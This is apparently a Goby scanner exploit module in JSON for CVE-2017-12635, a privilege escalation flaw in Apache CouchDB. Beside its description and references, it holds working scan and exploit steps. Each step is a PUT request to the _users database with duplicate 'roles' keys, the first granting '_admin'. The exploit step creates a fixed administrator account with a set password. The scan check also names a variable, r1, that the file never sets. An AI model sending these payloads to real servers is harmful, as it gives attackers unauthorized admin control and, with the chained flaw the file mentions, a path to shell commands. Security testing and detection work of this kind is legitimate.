{ "Name": "Apache CouchDB Remote Privilege Escalation CVE-2017-12635", "Level": "3", "Tags": [ "Ultra vires" ], "GobyQuery": "app=\"APACHE-CouchDB\"", "Description": "Apache CouchDB™ lets you access your data where you need it. The Couch Replication Protocol is implemented in a variety of projects and products that span every imaginable computing environment from globally distributed server-clusters, over mobile phones to web browsers.", "Product": "APACHE-CouchDB", "Homepage": "http://couchdb.apache.org", "Author": "", "Impact": "Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.", "Recommendation": "https://lists.apache.org/thread/n73xcy317gptmbmh5cf27bwny8wjh0cv", "References": [ "https://nvd.nist.gov/vuln/detail/CVE-2017-12635", "https://github.com/assalielmehdi/CVE-2017-12635" ], "HasExp": true, "ExpParams": [ { "Name": "创建用户", "Type": "select", "Value": "CanIHelpYou:NoThank" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "method": "PUT", "uri": "/_users/org.couchdb.user:{{{str1}}}", "follow_redirect": false, "header": { "Content-Type": "application/json" }, "data_type": "text", "data": " {\r\n \"type\": \"user\",\r\n \"name\": \"{{{str1}}}\",\r\n \"roles\": [\"_admin\"],\r\n \"roles\": [],\r\n \"password\": \"{{{str2}}}\"\r\n }", "set_variable": [ "str1|rand|str|32", "str2|rand|str|64" ] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "201", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "org.couchdb.user:{{{r1}}}", "bz": "" } ] }, "SetVariable": [ "output|lastbody||" ] } ], "ExploitSteps": [ "AND", { "Request": { "method": "PUT", "uri": "/_users/org.couchdb.user:CanIHelpYou", "follow_redirect": false, "header": { "Content-Type": "application/json" }, "data_type": "text", "data": " {\r\n \"type\": \"user\",\r\n \"name\": \"CanIHelpYou\",\r\n \"roles\": [\"_admin\"],\r\n \"roles\": [],\r\n \"password\": \"NoThank\"\r\n }", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "201", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "org.couchdb.user:CanIHelpYou", "bz": "" } ] }, "SetVariable": [ "output|lastbody||" ] } ], "PostTime": "0000-00-00 00:00:00", "GobyVersion": "0.0.0" }